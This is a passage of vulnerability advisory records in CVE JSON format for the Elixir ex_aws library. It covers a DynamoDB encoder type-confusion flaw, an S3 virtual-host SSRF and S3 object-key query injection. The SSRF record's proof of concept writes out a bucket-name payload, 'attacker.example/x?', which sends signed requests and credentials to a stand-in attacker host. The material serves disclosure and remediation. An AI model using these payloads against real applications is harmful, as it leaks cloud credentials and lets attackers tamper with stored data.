"value": "\u003cp\u003e\u003cstrong\u003e1. Structural idempotency guard.\u003c/strong\u003e \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/dynamo/encoder.ex\u003c/code\u003e has one clause per type descriptor (\u003ccode\u003e\"S\"\u003c/code\u003e, \u003ccode\u003e\"N\"\u003c/code\u003e, \u003ccode\u003e\"B\"\u003c/code\u003e, \u003ccode\u003e\"BOOL\"\u003c/code\u003e, \u003ccode\u003e\"BS\"\u003c/code\u003e, \u003ccode\u003e\"L\"\u003c/code\u003e, \u003ccode\u003e\"M\"\u003c/code\u003e, \u003ccode\u003e\"NS\"\u003c/code\u003e, \u003ccode\u003e\"NULL\"\u003c/code\u003e, \u003ccode\u003e\"SS\"\u003c/code\u003e), each of the form \u003ccode\u003edef encode(%{\"S\" =\u0026gt; _} = val, _), do: val\u003c/code\u003e. A map that merely contains one of these keys is returned verbatim and skips the \u003ccode\u003eExAws.Dynamo.Encodable\u003c/code\u003e protocol.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. No validation.\u003c/strong\u003e The match is on the presence of the key alone: extra keys and arbitrary nested content survive, and nothing checks that the value is well formed for the claimed type. Nothing distinguishes a value this encoder produced from user data of the same shape, so a decoded JSON body \u003ccode\u003e%{\"S\" =\u0026gt; \"evil\"}\u003c/code\u003e, meant as a Map with a key named \u003ccode\u003e\"S\"\u003c/code\u003e, is sent as the string \u003ccode\u003e\"evil\"\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Consequences.\u003c/strong\u003e The user, not the application, decides the stored attribute\u0027s type, bytes and structure, and \u003ccode\u003edecode(encode(x))\u003c/code\u003e differs from \u003ccode\u003ex\u003c/code\u003e for any \u003ccode\u003ex\u003c/code\u003e shaped like the wire format. \u003ccode\u003eencode!/2\u003c/code\u003e and \u003ccode\u003eencode_root/2\u003c/code\u003e call \u003ccode\u003eEncodable.encode\u003c/code\u003e directly and skip the shortcut, so the same value encodes differently depending on the entry point.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Structural idempotency guard.** `ExAws.Dynamo.Encoder.encode/2` in `lib/ex_aws/dynamo/encoder.ex` has one clause per type descriptor (`\"S\"`, `\"N\"`, `\"B\"`, `\"BOOL\"`, `\"BS\"`, `\"L\"`, `\"M\"`, `\"NS\"`, `\"NULL\"`, `\"SS\"`), each of the form `def encode(%{\"S\" =\u003e _} = val, _), do: val`. A map that merely contains one of these keys is returned verbatim and skips the `ExAws.Dynamo.Encodable` protocol.\n\n**2. No validation.** The match is on the presence of the key alone: extra keys and arbitrary nested content survive, and nothing checks that the value is well formed for the claimed type. Nothing distinguishes a value this encoder produced from user data of the same shape, so a decoded JSON body `%{\"S\" =\u003e \"evil\"}`, meant as a Map with a key named `\"S\"`, is sent as the string `\"evil\"`.\n\n**3. Consequences.** The user, not the application, decides the stored attribute\u0027s type, bytes and structure, and `decode(encode(x))` differs from `x` for any `x` shaped like the wire format. `encode!/2` and `encode_root/2` call `Encodable.encode` directly and skip the shortcut, so the same value encodes differently depending on the entry point."
}
],
"value": "1. Structural idempotency guard. ExAws.Dynamo.Encoder.encode/2 in lib/ex_aws/dynamo/encoder.ex has one clause per type descriptor (\"S\", \"N\", \"B\", \"BOOL\", \"BS\", \"L\", \"M\", \"NS\", \"NULL\", \"SS\"), each of the form def encode(%{\"S\" =\u003e _} = val, _), do: val. A map that merely contains one of these keys is returned verbatim and skips the ExAws.Dynamo.Encodable protocol.\n\n2. No validation. The match is on the presence of the key alone: extra keys and arbitrary nested content survive, and nothing checks that the value is well formed for the claimed type. Nothing distinguishes a value this encoder produced from user data of the same shape, so a decoded JSON body %{\"S\" =\u003e \"evil\"}, meant as a Map with a key named \"S\", is sent as the string \"evil\".\n\n3. Consequences. The user, not the application, decides the stored attribute\u0027s type, bytes and structure, and decode(encode(x)) differs from x for any x shaped like the wire format. encode!/2 and encode_root/2 call Encodable.encode directly and skip the shortcut, so the same value encodes differently depending on the entry point."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-62270",
"datePublished": "2026-11-24T12:59:00.667Z",
"dateReserved": "2026-07-13T18:06:12.918Z",
"dateUpdated": "2026-11-24T12:59:00.667Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-120720 (GCVE-0-2026-120720)
Vulnerability from nvd – Published: 2026-11-24 12:17 – Updated: 2026-11-24 12:17
VLAI
EPSS
VEX
Title
S3 bucket name controls the request host in ex_aws virtual-host requests
Summary
Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.
With virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.
This issue affects ex_aws: from 2.1.7 before 2.8.0.
Severity
CWE
- CWE-918 - Server-Side Request Forgery
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-120720.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-120720 | related |
| https://github.com/ex-aws/ex_aws/commit/557d3438a… | related |
| https://github.com/ex-aws/ex_aws/commit/a878943be… | patch |
Impacted products
Date Public
2026-11-24 12:17
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.7",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "a878943be6def16ffbee6bb9e11d90db1dc904f8",
"status": "affected",
"version": "557d3438a7e739a25c1ccc1876a5b636793f20ba",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eReachable only when the S3 client is configured with \u003ccode\u003evirtual_host: true\u003c/code\u003e and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Reachable only when the S3 client is configured with `virtual_host: true` and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."
}
],
"value": "Reachable only when the S3 client is configured with virtual_host: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"dateAssigned": "2026-11-24T12:04:08.000Z",
"datePublic": "2026-11-24T12:17:33.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eServer-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\u003c/p\u003e\n\u003cp\u003eWith \u003ccode\u003evirtual_host: true\u003c/code\u003e, \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/operation/s3.ex\u003c/code\u003e builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as \u003ccode\u003eattacker.example/x?\u003c/code\u003e turns the request URL into \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com/key\u003c/code\u003e, so the request is signed for and sent to \u003ccode\u003eattacker.example\u003c/code\u003e. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e the bucket is the whole hostname, so any valid hostname redirects the request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.7 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\n\nWith `virtual_host: true`, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as `attacker.example/x?` turns the request URL into `https://attacker.example/x?.s3.amazonaws.com/key`, so the request is signed for and sent to `attacker.example`. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With `bucket_as_host: true` the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\n\nWith virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-664",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eAn attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "An attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."
}
],
"value": "An attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T12:17:35.415Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"name": "Virtual-host bucket name controls the request host in ExAws.Operation.S3.add_bucket_to_path/2",
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-rcv9-2jx2-63xh"
},
{
"name": "EEF CNA record for CVE-2026-120720",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-120720.html"
},
{
"name": "OSV record EEF-CVE-2026-120720",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-120720"
},
{
"name": "Introducing commit 557d343 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"
},
{
"name": "Fix commit a878943 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/a878943be6def16ffbee6bb9e11d90db1dc904f8"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eUpgrading rejects bucket names containing characters that can change the request host. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with \u003ccode\u003ebucket_as_host: true\u003c/code\u003e must also set the \u003ccode\u003ebucket_as_host_allowlist\u003c/code\u003e S3 config option to the list of trusted hostnames.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Upgrading rejects bucket names containing characters that can change the request host. With `bucket_as_host: true`, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with `bucket_as_host: true` must also set the `bucket_as_host_allowlist` S3 config option to the list of trusted hostnames."
}
],
"value": "Upgrading rejects bucket names containing characters that can change the request host. With bucket_as_host: true, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with bucket_as_host: true must also set the bucket_as_host_allowlist S3 config option to the list of trusted hostnames."
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "S3 bucket name controls the request host in ex_aws virtual-host requests",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eConfigure ex_aws for S3 with \u003ccode\u003evirtual_host: true\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eBuild an upload with an attacker-chosen bucket name: \u003ccode\u003eExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eadd_bucket_to_path/2\u003c/code\u003e sets the host to \u003ccode\u003eattacker.example/x?.s3.amazonaws.com\u003c/code\u003e, and \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e renders \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com/report.pdf\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eExAws.Auth\u003c/code\u003e signs the \u003ccode\u003ehost\u003c/code\u003e header as \u003ccode\u003eattacker.example\u003c/code\u003e, and hackney connects to \u003ccode\u003eattacker.example:443\u003c/code\u003e with path \u003ccode\u003e/x\u003c/code\u003e and query \u003ccode\u003e.s3.amazonaws.com/report.pdf\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eRunning the operation with \u003ccode\u003eExAws.request/2\u003c/code\u003e delivers the signed request, including the upload body and \u003ccode\u003eAuthorization\u003c/code\u003e header, to \u003ccode\u003eattacker.example\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. Configure ex_aws for S3 with `virtual_host: true`.\n2. Build an upload with an attacker-chosen bucket name: `ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)`.\n3. `add_bucket_to_path/2` sets the host to `attacker.example/x?.s3.amazonaws.com`, and `ExAws.Request.Url.build/2` renders `https://attacker.example/x?.s3.amazonaws.com/report.pdf`.\n4. `ExAws.Auth` signs the `host` header as `attacker.example`, and hackney connects to `attacker.example:443` with path `/x` and query `.s3.amazonaws.com/report.pdf`.\n5. Running the operation with `ExAws.request/2` delivers the signed request, including the upload body and `Authorization` header, to `attacker.example`."
}
],
"value": "* Configure ex_aws for S3 with virtual_host: true.\n* Build an upload with an attacker-chosen bucket name: ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body).\n* add_bucket_to_path/2 sets the host to attacker.example/x?.s3.amazonaws.com, and ExAws.Request.Url.build/2 renders https://attacker.example/x?.s3.amazonaws.com/report.pdf.\n* ExAws.Auth signs the host header as attacker.example, and hackney connects to attacker.example:443 with path /x and query .s3.amazonaws.com/report.pdf.\n* Running the operation with ExAws.request/2 delivers the signed request, including the upload body and Authorization header, to attacker.example."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Host construction.\u003c/strong\u003e In the \u003ccode\u003evirtual_host: true\u003c/code\u003e clause of \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e, the request host becomes \u003ccode\u003e\"#{bucket}.#{host}\"\u003c/code\u003e. In the \u003ccode\u003evirtual_host: true, bucket_as_host: true\u003c/code\u003e clause it becomes the bucket name itself. Neither clause checks the bucket name.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. URL rendering and re-parsing.\u003c/strong\u003e \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e places the host verbatim into a \u003ccode\u003e%URI{}\u003c/code\u003e and renders it with \u003ccode\u003eURI.to_string/1\u003c/code\u003e, which does not validate the host. Downstream code re-parses the string: \u003ccode\u003eExAws.Auth.headers/6\u003c/code\u003e signs \u003ccode\u003eURI.parse(url).authority\u003c/code\u003e, \u003ccode\u003eExAws.Request.Url.sanitize/2\u003c/code\u003e splits on the first \u003ccode\u003e?\u003c/code\u003e, and hackney\u0027s \u003ccode\u003eparse_url/1\u003c/code\u003e (or \u003ccode\u003eURI.parse/1\u003c/code\u003e for the Req adapter) resolves the host. For the bucket \u003ccode\u003eattacker.example/x?\u003c/code\u003e all of them see the host \u003ccode\u003eattacker.example\u003c/code\u003e, the path \u003ccode\u003e/x\u003c/code\u003e and the query \u003ccode\u003e.s3.amazonaws.com/key\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signed request to the attacker.\u003c/strong\u003e The HTTP adapter connects to \u003ccode\u003eattacker.example\u003c/code\u003e and sends the fully signed request: the object body on uploads, the \u003ccode\u003eAuthorization\u003c/code\u003e header with the access key id and SigV4 signature, and \u003ccode\u003ex-amz-security-token\u003c/code\u003e when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Host construction.** In the `virtual_host: true` clause of `ExAws.Operation.S3.add_bucket_to_path/2`, the request host becomes `\"#{bucket}.#{host}\"`. In the `virtual_host: true, bucket_as_host: true` clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n**2. URL rendering and re-parsing.** `ExAws.Request.Url.build/2` places the host verbatim into a `%URI{}` and renders it with `URI.to_string/1`, which does not validate the host. Downstream code re-parses the string: `ExAws.Auth.headers/6` signs `URI.parse(url).authority`, `ExAws.Request.Url.sanitize/2` splits on the first `?`, and hackney\u0027s `parse_url/1` (or `URI.parse/1` for the Req adapter) resolves the host. For the bucket `attacker.example/x?` all of them see the host `attacker.example`, the path `/x` and the query `.s3.amazonaws.com/key`.\n\n**3. Signed request to the attacker.** The HTTP adapter connects to `attacker.example` and sends the fully signed request: the object body on uploads, the `Authorization` header with the access key id and SigV4 signature, and `x-amz-security-token` when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS."
}
],
"value": "1. Host construction. In the virtual_host: true clause of ExAws.Operation.S3.add_bucket_to_path/2, the request host becomes \"#{bucket}.#{host}\". In the virtual_host: true, bucket_as_host: true clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n2. URL rendering and re-parsing. ExAws.Request.Url.build/2 places the host verbatim into a %URI{} and renders it with URI.to_string/1, which does not validate the host. Downstream code re-parses the string: ExAws.Auth.headers/6 signs URI.parse(url).authority, ExAws.Request.Url.sanitize/2 splits on the first ?, and hackney\u0027s parse_url/1 (or URI.parse/1 for the Req adapter) resolves the host. For the bucket attacker.example/x? all of them see the host attacker.example, the path /x and the query .s3.amazonaws.com/key.\n\n3. Signed request to the attacker. The HTTP adapter connects to attacker.example and sends the fully signed request: the object body on uploads, the Authorization header with the access key id and SigV4 signature, and x-amz-security-token when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-120720",
"datePublished": "2026-11-24T12:17:35.415Z",
"dateReserved": "2026-11-24T09:53:42.363Z",
"dateUpdated": "2026-11-24T12:17:35.415Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-62269 (GCVE-0-2026-62269)
Vulnerability from nvd – Published: 2026-11-24 11:40 – Updated: 2026-11-24 11:40
VLAI
EPSS
VEX
Title
S3 object key query-string injection and truncation via unencoded reserved characters in ex_aws
Summary
Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).
This vulnerability is associated with program files lib/ex_aws/request/url.ex and program routines ExAws.Request.Url.build/2, ExAws.Request.Url.sanitize/2 and ExAws.Request.Url.get_path/2.
ex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal ? in an object key survives unencoded: build/2 inserts the operation path verbatim and URI.to_string/1 emits it without encoding, and sanitize/2 then splits the flattened URL on the first ?, treating everything after it as the query string. Because the split runs before uri_encode is applied to the path, the ? is never neutralized, and the recovered query is re-inserted without any encoding.
An attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as ?acl, ?tagging or ?versions) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.
This issue affects ex_aws: from 2.1.2 before 2.8.0.
Severity
CWE
- CWE-116 - Improper Encoding or Escaping of Output
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-62269.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-62269 | related |
| https://github.com/ex-aws/ex_aws/commit/ecd51b196… | related |
| https://github.com/ex-aws/ex_aws/commit/963fcc094… | patch |
Impacted products
Date Public
2026-11-24 11:40
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Request.Url\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/request/url.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:build/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:sanitize/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:get_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.2",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Request.Url\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/request/url.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:build/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:sanitize/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:get_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "963fcc0948102608c6796959e7a0d84f37d84dce",
"status": "affected",
"version": "ecd51b1965909119ee597d6c0783334e30e59e58",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability is reachable only on the Amazon S3 request path (the code guarded by service \u003ccode\u003e\"s3\"\u003c/code\u003e), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability is reachable only on the Amazon S3 request path (the code guarded by service `\"s3\"`), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior."
}
],
"value": "The vulnerability is reachable only on the Amazon S3 request path (the code guarded by service \"s3\"), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:40:26.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eImproper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/request/url.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e, \u003ccode\u003eExAws.Request.Url.sanitize/2\u003c/code\u003e and \u003ccode\u003eExAws.Request.Url.get_path/2\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal \u003ccode\u003e?\u003c/code\u003e in an object key survives unencoded: \u003ccode\u003ebuild/2\u003c/code\u003e inserts the operation path verbatim and \u003ccode\u003eURI.to_string/1\u003c/code\u003e emits it without encoding, and \u003ccode\u003esanitize/2\u003c/code\u003e then splits the flattened URL on the first \u003ccode\u003e?\u003c/code\u003e, treating everything after it as the query string. Because the split runs before \u003ccode\u003euri_encode\u003c/code\u003e is applied to the path, the \u003ccode\u003e?\u003c/code\u003e is never neutralized, and the recovered query is re-inserted without any encoding.\u003c/p\u003e\n\u003cp\u003eAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as \u003ccode\u003e?acl\u003c/code\u003e, \u003ccode\u003e?tagging\u003c/code\u003e or \u003ccode\u003e?versions\u003c/code\u003e) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate 